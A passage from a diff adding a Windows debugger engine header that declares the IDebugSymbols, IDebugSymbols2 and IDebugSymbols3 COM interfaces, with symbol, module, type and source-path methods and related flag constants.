the current register context is used. + STDMETHOD(GetScope)( + THIS_ + __out_opt PULONG64 InstructionOffset, + __out_opt PDEBUG_STACK_FRAME ScopeFrame, + __out_bcount_opt(ScopeContextSize) PVOID ScopeContext, + __in ULONG ScopeContextSize + ) PURE; + // If ScopeFrame or ScopeContext is non-NULL then + // InstructionOffset is ignored. + // If ScopeContext is NULL the current + // register context is used. + // If the scope identified by the given + // information is the same as before + // SetScope returns S_OK. If the scope + // information changes, such as when the + // scope moves between functions or scope + // blocks, SetScope returns S_FALSE. + STDMETHOD(SetScope)( + THIS_ + __in ULONG64 InstructionOffset, + __in_opt PDEBUG_STACK_FRAME ScopeFrame, + __in_bcount_opt(ScopeContextSize) PVOID ScopeContext, + __in ULONG ScopeContextSize + ) PURE; + // ResetScope clears the scope information + // for situations where scoped symbols + // mask global symbols or when resetting + // from explicit information to the current + // information. + STDMETHOD(ResetScope)( + THIS + ) PURE; + // A scope symbol is tied to its particular + // scope and only is meaningful within the scope. + // The returned group can be updated by passing it back + // into the method for lower-cost + // incremental updates when stepping. + STDMETHOD(GetScopeSymbolGroup)( + THIS_ + __in ULONG Flags, + __in_opt PDEBUG_SYMBOL_GROUP Update, + __out PDEBUG_SYMBOL_GROUP* Symbols + ) PURE; + + // Create a new symbol group. + STDMETHOD(CreateSymbolGroup)( + THIS_ + __out PDEBUG_SYMBOL_GROUP* Group + ) PURE; + + // StartSymbolMatch matches symbol names + // against the given pattern using simple + // regular expressions. The search results + // are iterated through using GetNextSymbolMatch. + // When the caller is done examining results + // the match should be freed via EndSymbolMatch. + // If the match pattern contains a module name + // the search is restricted to a single module. + // Pattern matching is only done on symbol names, + // not module names. + // All active symbol match handles are invalidated + // when the set of loaded symbols changes. + STDMETHOD(StartSymbolMatch)( + THIS_ + __in PCSTR Pattern, + __out PULONG64 Handle + ) PURE; + // If Buffer is NULL the match does not + // advance. + STDMETHOD(GetNextSymbolMatch)( + THIS_ + __in ULONG64 Handle, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MatchSize, + __out_opt PULONG64 Offset + ) PURE; + STDMETHOD(EndSymbolMatch)( + THIS_ + __in ULONG64 Handle + ) PURE; + + STDMETHOD(Reload)( + THIS_ + __in PCSTR Module + ) PURE; + + STDMETHOD(GetSymbolPath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetSymbolPath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendSymbolPath)( + THIS_ + __in PCSTR Addition + ) PURE; + + // Manipulate the path for executable images. + // Some dump files need to load executable images + // in order to resolve dump information. This + // path controls where the engine looks for + // images. + STDMETHOD(GetImagePath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetImagePath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendImagePath)( + THIS_ + __in PCSTR Addition + ) PURE; + + // Path routines for source file location + // methods. + STDMETHOD(GetSourcePath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + // Gets the nth part of the source path. + STDMETHOD(GetSourcePathElement)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ElementSize + ) PURE; + STDMETHOD(SetSourcePath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendSourcePath)( + THIS_ + __in PCSTR Addition + ) PURE; + // Uses the given file path and the source path + // information to try and locate an existing file. + // The given file path is merged with elements + // of the source path and checked for existence. + // If a match is found the element used is returned. + // A starting element can be specified to restrict + // the search to a subset of the path elements; + // this can be useful when checking for multiple + // matches along the source path. + // The returned element can be 1, indicating + // the file was found directly and not on the path. + STDMETHOD(FindSourceFile)( + THIS_ + __in ULONG StartElement, + __in PCSTR File, + __in ULONG Flags, + __out_opt PULONG FoundElement, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FoundSize + ) PURE; + // Retrieves all the line offset information + // for a particular source file. Buffer is + // first intialized to DEBUG_INVALID_OFFSET for + // every entry. Then for each piece of line + // symbol information Buffer[Line] set to + // Lines offset. This produces a per-line + // map of the offsets for the lines of the + // given file. Line numbers are decremented + // for the map so Buffer[0] contains the offset + // for line number 1. + // If there is no line information at all for + // the given file the method fails rather + // than returning a map of invalid offsets. + STDMETHOD(GetSourceFileLineOffsets)( + THIS_ + __in PCSTR File, + __out_ecount_opt(BufferLines) PULONG64 Buffer, + __in ULONG BufferLines, + __out_opt PULONG FileLines + ) PURE; +}; + +// +// GetModuleNameString strings. +// + +#define DEBUG_MODNAME_IMAGE 0x00000000 +#define DEBUG_MODNAME_MODULE 0x00000001 +#define DEBUG_MODNAME_LOADED_IMAGE 0x00000002 +#define DEBUG_MODNAME_SYMBOL_FILE 0x00000003 +#define DEBUG_MODNAME_MAPPED_IMAGE 0x00000004 + +// +// Type options, used with Get/SetTypeOptions. +// + +// Display PUSHORT and USHORT arrays in Unicode. +#define DEBUG_TYPEOPTS_UNICODE_DISPLAY 0x00000001 +// Display LONG types in default base instead of decimal. +#define DEBUG_TYPEOPTS_LONGSTATUS_DISPLAY 0x00000002 +// Display integer types in default base instead of decimal. +#define DEBUG_TYPEOPTS_FORCERADIX_OUTPUT 0x00000004 +// Search for the type/symbol with largest size when +// multiple type/symbol match for a given name +#define DEBUG_TYPEOPTS_MATCH_MAXSIZE 0x00000008 + +#undef INTERFACE +#define INTERFACE IDebugSymbols2 +DECLARE_INTERFACE_(IDebugSymbols2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSymbols. + + // Controls the symbol options used during + // symbol operations. + // Uses the same flags as dbghelps SymSetOptions. + STDMETHOD(GetSymbolOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + + STDMETHOD(GetNameByOffset)( + THIS_ + __in ULONG64 Offset, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + // A symbol name may not be unique, particularly + // when overloaded functions exist which all + // have the same name. If GetOffsetByName + // finds multiple matches for the name it + // can return any one of them. In that + // case it will return S_FALSE to indicate + // that ambiguity was arbitrarily resolved. + // A caller can then use SearchSymbols to + // find all of the matches if it wishes to + // perform different disambiguation. + STDMETHOD(GetOffsetByName)( + THIS_ + __in PCSTR Symbol, + __out PULONG64 Offset + ) PURE; + // GetNearNameByOffset returns symbols + // located near the symbol closest to + // to the offset, such as the previous + // or next symbol. If Delta is zero it + // operates identically to GetNameByOffset. + // If Delta is nonzero and such a symbol + // does not exist an error is returned. + // The next symbol, if one exists, will + // always have a higher offset than the + // input offset so the displacement is + // always negative. The situation is + // reversed for the previous symbol. + STDMETHOD(GetNearNameByOffset)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + + STDMETHOD(GetLineByOffset)( + THIS_ + __in ULONG64 Offset, + __out_opt PULONG Line, + __out_ecount_opt(FileBufferSize) PSTR FileBuffer, + __in ULONG FileBufferSize, + __out_opt PULONG FileSize, + __out_opt PULONG64 Displacement + ) PURE; + STDMETHOD(GetOffsetByLine)( + THIS_ + __in ULONG Line, + __in PCSTR File, + __out PULONG64 Offset + ) PURE; + + // Enumerates the engines list of modules + // loaded for the current process. This may + // or may not match the system module list + // for the process. Reload can be used to + // synchronize the engines list with the system + // if necessary. + // Some sessions also track recently unloaded + // code modules for help in analyzing failures + // where an attempt is made to call unloaded code. + // These modules are indexed after the loaded + // modules. + STDMETHOD(GetNumberModules)( + THIS_ + __out PULONG Loaded, + __out PULONG Unloaded + ) PURE; + STDMETHOD(GetModuleByIndex)( + THIS_ + __in ULONG Index, + __out PULONG64 Base + ) PURE; + // The module name may not be unique. + // This method returns the first match. + STDMETHOD(GetModuleByModuleName)( + THIS_ + __in PCSTR Name, + __in ULONG StartIndex, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + // Offset can be any offset within + // the module extent. Extents may + // not be unique when including unloaded + // drivers. This method returns the + // first match. + STDMETHOD(GetModuleByOffset)( + THIS_ + __in ULONG64 Offset, + __in ULONG StartIndex, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + // If Index is DEBUG_ANY_ID the base address + // is used to look up the module instead. + STDMETHOD(GetModuleNames)( + THIS_ + __in ULONG Index, + __in ULONG64 Base, + __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer, + __in ULONG ImageNameBufferSize, + __out_opt PULONG ImageNameSize, + __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer, + __in ULONG ModuleNameBufferSize, + __out_opt PULONG ModuleNameSize, + __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer, + __in ULONG LoadedImageNameBufferSize, + __out_opt PULONG LoadedImageNameSize + ) PURE; + STDMETHOD(GetModuleParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG64 Bases, + __in ULONG Start, + __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params + ) PURE; + // Looks up the module from a ! + // string. + STDMETHOD(GetSymbolModule)( + THIS_ + __in PCSTR Symbol, + __out PULONG64 Base + ) PURE; + + // Returns the string name of a type. + STDMETHOD(GetTypeName)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + // Returns the ID for a type name. + STDMETHOD(GetTypeId)( + THIS_ + __in ULONG64 Module, + __in PCSTR Name, + __out PULONG TypeId + ) PURE; + STDMETHOD(GetTypeSize)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __out PULONG Size + ) PURE; + // Given a type which can contain members + // this method returns the offset of a + // particular member within the type. + // TypeId should give the container type ID + // and Field gives the dot-separated path + // to the field of interest. + STDMETHOD(GetFieldOffset)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in PCSTR Field, + __out PULONG Offset + ) PURE; + + STDMETHOD(GetSymbolTypeId)( + THIS_ + __in PCSTR Symbol, + __out PULONG TypeId, + __out_opt PULONG64 Module + ) PURE; + // As with GetOffsetByName a symbol's + // name may be ambiguous. GetOffsetTypeId + // returns the type for the symbol closest + // to the given offset and can be used + // to avoid ambiguity. + STDMETHOD(GetOffsetTypeId)( + THIS_ + __in ULONG64 Offset, + __out PULONG TypeId, + __out_opt PULONG64 Module + ) PURE; + + // Helpers for virtual and physical data + // which combine creation of a location with + // the actual operation. + STDMETHOD(ReadTypedDataVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteTypedDataVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(OutputTypedDataVirtual)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG Flags + ) PURE; + STDMETHOD(ReadTypedDataPhysical)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteTypedDataPhysical)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(OutputTypedDataPhysical)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG Flags + ) PURE; + + // Function arguments and scope block symbols + // can be retrieved relative to currently + // executing code. A caller can provide just + // a code offset for scoping purposes and look + // up names or the caller can provide a full frame + // and look up actual values. The values for + // scoped symbols are best-guess and may or may not + // be accurate depending on program optimizations, + // the machine architecture, the current point + // in the programs execution and so on. + // A caller can also provide a complete register + // context for setting a scope to a previous + // machine state such as a context saved for + // an exception. Usually this isnt necessary + // and the current register context is used. + STDMETHOD(GetScope)( + THIS_ + __out_opt PULONG64 InstructionOffset, + __out_opt PDEBUG_STACK_FRAME ScopeFrame, + __out_bcount_opt(ScopeContextSize) PVOID ScopeContext, + __in ULONG ScopeContextSize + ) PURE; + // If ScopeFrame or ScopeContext is non-NULL then + // InstructionOffset is ignored. + // If ScopeContext is NULL the current + // register context is used. + // If the scope identified by the given + // information is the same as before + // SetScope returns S_OK. If the scope + // information changes, such as when the + // scope moves between functions or scope + // blocks, SetScope returns S_FALSE. + STDMETHOD(SetScope)( + THIS_ + __in ULONG64 InstructionOffset, + __in_opt PDEBUG_STACK_FRAME ScopeFrame, + __in_bcount_opt(ScopeContextSize) PVOID ScopeContext, + __in ULONG ScopeContextSize + ) PURE; + // ResetScope clears the scope information + // for situations where scoped symbols + // mask global symbols or when resetting + // from explicit information to the current + // information. + STDMETHOD(ResetScope)( + THIS + ) PURE; + // A scope symbol is tied to its particular + // scope and only is meaningful within the scope. + // The returned group can be updated by passing it back + // into the method for lower-cost + // incremental updates when stepping. + STDMETHOD(GetScopeSymbolGroup)( + THIS_ + __in ULONG Flags, + __in_opt PDEBUG_SYMBOL_GROUP Update, + __out PDEBUG_SYMBOL_GROUP* Symbols + ) PURE; + + // Create a new symbol group. + STDMETHOD(CreateSymbolGroup)( + THIS_ + __out PDEBUG_SYMBOL_GROUP* Group + ) PURE; + + // StartSymbolMatch matches symbol names + // against the given pattern using simple + // regular expressions. The search results + // are iterated through using GetNextSymbolMatch. + // When the caller is done examining results + // the match should be freed via EndSymbolMatch. + // If the match pattern contains a module name + // the search is restricted to a single module. + // Pattern matching is only done on symbol names, + // not module names. + // All active symbol match handles are invalidated + // when the set of loaded symbols changes. + STDMETHOD(StartSymbolMatch)( + THIS_ + __in PCSTR Pattern, + __out PULONG64 Handle + ) PURE; + // If Buffer is NULL the match does not + // advance. + STDMETHOD(GetNextSymbolMatch)( + THIS_ + __in ULONG64 Handle, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MatchSize, + __out_opt PULONG64 Offset + ) PURE; + STDMETHOD(EndSymbolMatch)( + THIS_ + __in ULONG64 Handle + ) PURE; + + STDMETHOD(Reload)( + THIS_ + __in PCSTR Module + ) PURE; + + STDMETHOD(GetSymbolPath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetSymbolPath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendSymbolPath)( + THIS_ + __in PCSTR Addition + ) PURE; + + // Manipulate the path for executable images. + // Some dump files need to load executable images + // in order to resolve dump information. This + // path controls where the engine looks for + // images. + STDMETHOD(GetImagePath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + STDMETHOD(SetImagePath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendImagePath)( + THIS_ + __in PCSTR Addition + ) PURE; + + // Path routines for source file location + // methods. + STDMETHOD(GetSourcePath)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PathSize + ) PURE; + // Gets the nth part of the source path. + STDMETHOD(GetSourcePathElement)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ElementSize + ) PURE; + STDMETHOD(SetSourcePath)( + THIS_ + __in PCSTR Path + ) PURE; + STDMETHOD(AppendSourcePath)( + THIS_ + __in PCSTR Addition + ) PURE; + // Uses the given file path and the source path + // information to try and locate an existing file. + // The given file path is merged with elements + // of the source path and checked for existence. + // If a match is found the element used is returned. + // A starting element can be specified to restrict + // the search to a subset of the path elements; + // this can be useful when checking for multiple + // matches along the source path. + // The returned element can be 1, indicating + // the file was found directly and not on the path. + STDMETHOD(FindSourceFile)( + THIS_ + __in ULONG StartElement, + __in PCSTR File, + __in ULONG Flags, + __out_opt PULONG FoundElement, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FoundSize + ) PURE; + // Retrieves all the line offset information + // for a particular source file. Buffer is + // first intialized to DEBUG_INVALID_OFFSET for + // every entry. Then for each piece of line + // symbol information Buffer[Line] set to + // Lines offset. This produces a per-line + // map of the offsets for the lines of the + // given file. Line numbers are decremented + // for the map so Buffer[0] contains the offset + // for line number 1. + // If there is no line information at all for + // the given file the method fails rather + // than returning a map of invalid offsets. + STDMETHOD(GetSourceFileLineOffsets)( + THIS_ + __in PCSTR File, + __out_ecount_opt(BufferLines) PULONG64 Buffer, + __in ULONG BufferLines, + __out_opt PULONG FileLines + ) PURE; + + // IDebugSymbols2. + + // If Index is DEBUG_ANY_ID the base address + // is used to look up the module instead. + // Item is specified as in VerQueryValue. + // Module version information is only + // available for loaded modules and may + // not be available in all debug sessions. + STDMETHOD(GetModuleVersionInformation)( + THIS_ + __in ULONG Index, + __in ULONG64 Base, + __in PCSTR Item, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG VerInfoSize + ) PURE; + // Retrieves any available module name string + // such as module name or symbol file name. + // If Index is DEBUG_ANY_ID the base address + // is used to look up the module instead. + // If symbols are deferred an error will + // be returned. + // E_NOINTERFACE may be returned, indicating + // no information exists. + STDMETHOD(GetModuleNameString)( + THIS_ + __in ULONG Which, + __in ULONG Index, + __in ULONG64 Base, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + + // Returns the string name of a constant type. + STDMETHOD(GetConstantName)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG64 Value, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + + // Gets name of a field in a struct + // FieldNumber is 0 based index of field in a struct + STDMETHOD(GetFieldName)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG FieldIndex, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + + // Control options for typed values. + STDMETHOD(GetTypeOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddTypeOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveTypeOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetTypeOptions)( + THIS_ + __in ULONG Options + ) PURE; +}; + +// +// GetModuleBy* flags. +// + +// Scan all modules, loaded and unloaded. +#define DEBUG_GETMOD_DEFAULT 0x00000000 +// Do not scan loaded modules. +#define DEBUG_GETMOD_NO_LOADED_MODULES 0x00000001 +// Do not scan unloaded modules. +#define DEBUG_GETMOD_NO_UNLOADED_MODULES 0x00000002 + +// +// AddSyntheticModule flags. +// + +#define DEBUG_ADDSYNTHMOD_DEFAULT 0x00000000 + +// +// AddSyntheticSymbol flags. +// + +#define DEBUG_ADDSYNTHSYM_DEFAULT 0x00000000 + +// +// OutputSymbolByOffset flags. +// + +// Use the current debugger settings for symbol output. +#define DEBUG_OUTSYM_DEFAULT 0x00000000 +// Always display the offset in addition to any symbol hit. +#define DEBUG_OUTSYM_FORCE_OFFSET 0x00000001 +// Display source line information if found. +#define DEBUG_OUTSYM_SOURCE_LINE 0x00000002 +// Output symbol hits that don't exactly match. +#define DEBUG_OUTSYM_ALLOW_DISPLACEMENT 0x00000004 + +// +// GetFunctionEntryByOffset flags. +// + +#define DEBUG_GETFNENT_DEFAULT 0x00000000 +// The engine provides artificial entries for well-known +// cases. This flag limits the entry search to only +// the raw entries and disables artificial entry lookup. +#define DEBUG_GETFNENT_RAW_ENTRY_ONLY 0x00000001 + +typedef struct _DEBUG_MODULE_AND_ID +{ + ULONG64 ModuleBase; + ULONG64 Id; +} DEBUG_MODULE_AND_ID, *PDEBUG_MODULE_AND_ID; + +#define DEBUG_SOURCE_IS_STATEMENT 0x00000001 + +// +// GetSourceEntriesByLine flags. +// + +#define DEBUG_GSEL_DEFAULT 0x00000000 +// Do not allow any extra symbols to load during the search. +#define DEBUG_GSEL_NO_SYMBOL_LOADS 0x00000001 +// Allow source hits with lower line numbers. +#define DEBUG_GSEL_ALLOW_LOWER 0x00000002 +// Allow source hits with higher line numbers. +#define DEBUG_GSEL_ALLOW_HIGHER 0x00000004 +// Only return the nearest hits. +#define DEBUG_GSEL_NEAREST_ONLY 0x00000008 + +typedef struct _DEBUG_SYMBOL_SOURCE_ENTRY +{ + ULONG64 ModuleBase; + ULONG64 Offset; + ULONG64 FileNameId; + ULONG64 EngineInternal; + ULONG Size; + ULONG Flags; + ULONG FileNameSize; + // Line numbers are one-based. + // May be DEBUG_ANY_ID if unknown. + ULONG StartLine; + ULONG EndLine; + // Column numbers are one-based byte indices. + // May be DEBUG_ANY_ID if unknown. + ULONG StartColumn; + ULONG EndColumn; + ULONG Reserved; +} DEBUG_SYMBOL_SOURCE_ENTRY, *PDEBUG_SYMBOL_SOURCE_ENTRY; + +#undef INTERFACE +#define INTERFACE IDebugSymbols3 +DECLARE_INTERFACE_(IDebugSymbols3, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSymbols. + + // Controls the symbol options used during + // symbol operations. + // Uses the same flags as dbghelps SymSetOptions. + STDMETHOD(GetSymbolOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + + STDMETHOD(GetNameByOffset)( + THIS_ + __in ULONG64 Offset, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + // A symbol name may not be unique, particularly + // when overloaded functions exist which all + // have the same name. If GetOffsetByName + // finds multiple matches for the name it + // can return any one of them. In that + // case it will return S_FALSE to indicate + // that ambiguity was arbitrarily resolved. + // A caller can then use SearchSymbols to + // find all of the matches if it wishes to + // perform different disambiguation. + STDMETHOD(GetOffsetByName)( + THIS_ + __in PCSTR Symbol, + __out PULONG64 Offset + ) PURE; + // GetNearNameByOffset returns symbols + // located near the symbol closest to + // to the offset, such as the previous + // or next symbol. If Delta is zero it + // operates identically to GetNameByOffset. + // If Delta is nonzero and such a symbol + // does not exist an error is returned. + // The next symbol, if one exists, will + // always have a higher offset than the + // input offset so the displacement is + // always negative. The situation is + // reversed for the previous symbol. + STDMETHOD(GetNearNameByOffset)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + + STDMETHOD(GetLineByOffset)( + THIS_ + __in ULONG64 Offset, + __out_opt PULONG Line, + __out_ecount_opt(FileBufferSize) PSTR FileBuffer, + __in ULONG FileBufferSize, + __out_opt PULONG FileSize, + __out_opt PULONG64 Displacement + ) PURE; + STDMETHOD(GetOffsetByLine)( + THIS_ + __in ULONG Line, + __in PCSTR File, + __out PULONG64 Offset + ) PURE; + + // Enumerates the engines list of modules + // loaded for the current process. This may + // or may not match the system module list + // for the process. Reload can be used to + // synchronize the engines list with the system + // if necessary. + // Some sessions also track recently unloaded + // code modules for help in analyzing failures + // where an attempt is made to call unloaded code. + // These modules are indexed after the loaded + // modules. + STDMETHOD(GetNumberModules)( + THIS_ + __out PULONG Loaded, + __out PULONG Unloaded + ) PURE; + STDMETHOD(GetModuleByIndex)( + THIS_ + __in ULONG Index, + __out PULONG64 Base + ) PURE; + // The module name may not be unique. + // This method returns the first match. + STDMETHOD(GetModuleByModuleName)( + THIS_ + __in PCSTR Name, + __in ULONG StartIndex, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + // Offset can be any offset within + // the module extent. Extents may + // not be unique when including unloaded + // drivers. This method returns the + // first match. + STDMETHOD(GetModuleByOffset)( + THIS_ + __in ULONG64 Offset, + __in ULONG StartIndex, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + // If Index is DEBUG_ANY_ID the base address + // is used to look up the module instead. + STDMETHOD(GetModuleNames)( + THIS_ + __in ULONG Index, + __in ULONG64 Base, + __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer, + __in ULONG ImageNameBufferSize, + __out_opt PULONG ImageNameSize, + __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer, + __in ULONG ModuleNameBufferSize, + __out_opt PULONG ModuleNameSize, + __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer, + __in ULONG LoadedImageNameBufferSize, + __out_opt PULONG LoadedImageNameSize + ) PURE; + STDMETHOD(GetModuleParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG64 Bases, + __in ULONG Start, + __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params + ) PURE; + // Looks up the module from a ! + // string. + STDMETHOD(GetSymbolModule)( + THIS_ + __in PCSTR Symbol, + __out PULONG64 Base + ) PURE; + + // Returns the string name of a type. + STDMETHOD(GetTypeName)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + // Returns the ID for a type name. + STDMETHOD(GetTypeId)( + THIS_ + __in ULONG64 Module, + __in PCSTR Name, + __out PULONG TypeId + ) PURE; + STDMETHOD(GetTypeSize)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __out PULONG Size + ) PURE; + // Given a type which can contain members + // this method returns the offset of a + // particular member within the type. + // TypeId should give the container type ID + // and Field gives the dot-separated path + // to the field of interest. + STDMETHOD(GetFieldOffset)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in PCSTR Field, + __out PULONG Offset + ) PURE; + + STDMETHOD(GetSymbolTypeId)( + THIS_ + __in PCSTR Symbol, + __out PULONG TypeId, + __out_opt PULONG64 Module + ) PURE; + // As with GetOffsetByName a symbol's + // name may be ambiguous. GetOffsetTypeId + // returns the type for the symbol closest + // to the given offset and can be used + // to avoid ambiguity. + STDMETHOD(GetOffsetTypeId)( + THIS_ + __in ULONG64 Offset, + __out PULONG TypeId, + __out_opt PULONG64 Module + ) PURE; + + // Helpers for virtual and physical data + // which combine creation of a location with + // the actual operation. + STDMETHOD(ReadTypedDataVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteTypedDataVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(OutputTypedDataVirtual)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG Flags + ) PURE; + STDMETHOD(ReadTypedDataPhysical)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteTypedDataPhysical)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(OutputTypedDataPhysical)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG Flags + ) PURE; + + // Function arguments and scope block symbols + // can be retrieved relative to currently + // executing code. A caller can provide just + // a code offset for scoping purposes and look + // up names or the caller can provide a full frame + // and look up actual values. The values for + // scoped symbols are best-guess and may or may not + // be accurate depending on program optimizations, + // the machine architecture, the current point + // in the programs execution and so on. + // A caller can also provide a complete register + // context for setting a scope to a previous + // machine state such as a context saved for + // an exception. Usually this isnt necessary 